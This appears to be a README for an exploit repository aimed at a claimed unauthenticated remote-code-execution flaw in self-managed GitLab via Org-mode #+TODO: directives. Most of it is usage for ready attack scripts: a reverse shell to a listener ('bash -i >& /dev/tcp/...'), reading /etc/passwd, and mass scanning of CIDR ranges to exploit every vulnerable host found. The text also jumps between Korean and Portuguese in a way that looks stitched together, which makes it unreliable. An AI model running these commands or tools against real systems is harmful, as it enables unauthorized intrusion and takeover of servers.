CVE-2026-110264 - GitLab CE/EE 정규식 정수 오버플로 인증되지 않은 RCE | CVSS 10.0 | By Gh0st-Bx1
면책 조항: 이 저장소는 교육 및 보안 연구 목적으로만 제작되었습니다. 사전 서면 승인 없이 시스템에 대해 이러한 도구를 사용하는 것은 불법입니다. 저자는 이 자료의 오용에 대해 책임지지 않습니다.
| 항목 | 세부 정보 |
|---|---|
| CVE | CVE-2026-110264 |
| 별칭 | GitLab-Ghost |
| 유형 | 정규식 컴파일러의 정수 오버플로 (CWE-190) |
| CVSS | 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| 구성 요소 | GitLab Org-mode 렌더러 - Ruby 정규식 컴파일러 엔진 |
| 벡터 | /api/v4/markdown (익명) / README.org 업로드 (인증됨) |
| 인증 | 필요 없음 (unauthenticated) |
| 영향 | GitLab CE/EE >= 7.0, self-managed, < 수정된 버전 |
| 수정됨 | 19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10, 18.11.13 |
| 공개일 | 2026년 10월 21일 (7개 브랜치에 동시 패치) |
GitLab의 정규식 컴파일러는 Org-mode 파일(.org)의 #+TODO: 지시문을
처리할 때 정수 오버플로를 겪습니다. 일련의 대안들이 Ruby 정규식 컴파일러의 내부 ID 타입
한계를 초과하면 오버플로가 발생하여 GitLab 서버에서 인증 없이 원격 코드 실행이
가능해집니다.
이 취약점은 버전 7.0(약 12년간의 릴리스)부터 GitLab self-managed Community Edition 및 Enterprise Edition에 영향을 미칩니다. GitLab.com은 자동으로 수정되었습니다.
1. Atacante envia arquivo .org com diretiva #+TODO: contendo 500+ estados alternados
2. GitLab chama o renderer Org-mode ao exibir o arquivo no repositorio
3. O parser cria uma regex para colorir keywords dos estados #+TODO
4. O compilador Ruby regex aloca IDs internos por estado; ao superar ~500,
o counter interno (tipo fixo) sofre overflow
5. Overflow corrompe estruturas internas do compilador -> execucao de codigo
6. Codigo executa com as permissoes do processo git/gitlab
익명 벡터 (인증 없음):
Atacante --> [POST /api/v4/markdown] {"text": "<org_payload>"}
|
GitLab processa conteudo ORG sem autenticar
|
Org-mode renderer -> regex compiler -> overflow -> RCE
인증된 벡터(무료 계정):
Atacante (conta free) --> cria projeto --> upload README.org
|
GitLab renderiza ao navegar no projeto
|
Mesmo overflow -> RCE como processo servidor
| 브랜치 | 취약한 버전 | 수정된 버전 |
|---|---|---|
| 19.5.x | < 19.5.1 | 19.5.1 |
| 19.4.x | < 19.4.3 | 19.4.3 |
| 19.3.x | < 19.3.6 | 19.3.6 |
| 19.2.x | < 19.2.9 | 19.2.9 |
| 19.1.x | < 19.1.9 | 19.1.9 |
| 19.0.x | < 19.0.10 | 19.0.10 |
| 18.11.x | < 18.11.13 | 18.11.13 |
| < 18.11 | 모든 버전 (EOL) | GitLab 업그레이드 |
GitLab.com: 이미 자동으로 수정되었습니다. self-managed 인스턴스만 영향을 받습니다.
cve-2026-110264/
poc.py Verifica versao e envia payload Org-mode via /api/v4/markdown
exploit.py Exploit completo: fingerprint, reverse shell, scan em massa
README.md Este arquivo
python poc.py --url http://gitlab.empresa.com --check
python poc.py --url http://gitlab.empresa.com --cmd "id"
python poc.py --url http://gitlab.empresa.com --token glpat-xxxx --cmd "cat /etc/passwd"
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx --cmd "id; whoami; hostname"
# Terminal 1 (listener integrado):
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--reverse-shell --lhost 192.168.1.10 --lport 4444
# Manual com nc:
nc -lvnp 4444
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--cmd "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"
# Scan de CIDR
python exploit.py --scan 10.0.0.0/24 --scan-port 80
# Scan de arquivo + explorar vulneraveis
python exploit.py --scan alvos.txt --token glpat-xxxx --cmd "id"
# Aumentar profundidade de overflow (alvos mais resistentes)
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--depth 1000 --cmd "id"
--url URL do GitLab (ex: http://gitlab.empresa.com)
--cmd Comando a executar (default: id)
--token Personal Access Token (opcional, mais confiavel)
--check Apenas verifica versao e vulnerabilidade
--silent Suprime o banner
--url URL do GitLab alvo
--scan CIDR, range ou arquivo para scan
--scan-port Porta HTTP para scan (default: 80)
--token PRIVATE-TOKEN GitLab
--cmd Comando a executar
--reverse-shell Lanca reverse shell com listener integrado
--lhost IP para receber conexao
--lport Porta para reverse shell (default: 4444)
--depth Estados de overflow (default: 650, max recomendado: 1000)
--check Apenas fingerprint de versao
--threads Threads para scan (default: 30)
--silent Suprime o banner
| 지표 | 설명 |
|---|---|
/api/v4/markdown에 대한 POST 요청 | 익명 익스플로잇 시도 |
매우 긴 #+TODO:와 함께 .org 업로드 | 상태 오버플로 페이로드 |
| 예상치 못한 호출이 있는 ruby/gitlab 프로세스 | 침해된 워커 |
| GitLab 서버의 예상치 못한 아웃바운드 연결 | 활성 리버스 셸 |
교정:
#+TODO:이 있는 요청 필터링By Gh0st-Bx1 | https://github.com/Ghost-Bx1